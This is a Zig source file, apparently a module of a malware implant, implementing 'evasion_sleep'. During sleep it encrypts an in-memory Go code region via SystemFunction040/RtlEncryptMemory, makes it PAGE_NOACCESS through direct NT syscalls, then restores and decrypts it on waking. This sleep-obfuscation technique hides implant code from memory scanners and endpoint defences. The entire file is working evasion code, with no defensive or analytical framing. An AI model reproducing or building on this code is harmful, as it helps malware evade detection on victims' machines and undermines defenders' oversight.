// SystemFunction040/041 are advapi32 exports wrapping RtlEncryptMemory (kernel ChaCha20).
const api = @import("api.zig");
const syscall = @import("syscall.zig");
const nt = @import("nt.zig");

var g_go_text_base: ?[*]u8 = null;
var g_go_text_size: usize = 0;

const RTL_ENCRYPT_MEMORY_SIZE: u32 = 8;

fn padded_size(size: usize) u32 {
    const s: u32 = @intCast(size);
    return (s + (RTL_ENCRYPT_MEMORY_SIZE - 1)) & ~@as(u32, RTL_ENCRYPT_MEMORY_SIZE - 1);
}

pub fn init_text_region(base: [*]u8, size: usize) void {
    g_go_text_base = base;
    g_go_text_size = size;
}

pub fn evasion_sleep(ms: u32) void {
    if (g_go_text_base == null or g_go_text_size == 0) {
        var interval: i64 = -(@as(i64, @intCast(ms)) * 10000);
        _ = syscall.nt_delay_execution(nt.FALSE_BOOL(), &interval);
        return;
    }

    const base = g_go_text_base.?;
    const size = g_go_text_size;
    const padded = padded_size(size);

    if (api.sleep_SystemFunction040) |enc| {
        _ = enc(base, padded, 0);
    }
    var ptr: ?*anyopaque = base;
    var sz: usize = size;
    var old: u32 = 0;
    _ = syscall.nt_protect_virtual_memory(
        syscall.nt_current_process(),
        &ptr,
        &sz,
        nt.PAGE_NOACCESS,
        &old,
    );

    var interval: i64 = -(@as(i64, @intCast(ms)) * 10000);
    _ = syscall.nt_delay_execution(nt.FALSE_BOOL(), &interval);

    ptr = base;
    sz = size;
    _ = syscall.nt_protect_virtual_memory(
        syscall.nt_current_process(),
        &ptr,
        &sz,
        nt.PAGE_EXECUTE_READ,
        &old,
    );

    if (api.sleep_SystemFunction041) |dec| {
        _ = dec(base, padded, 0);
    }
}
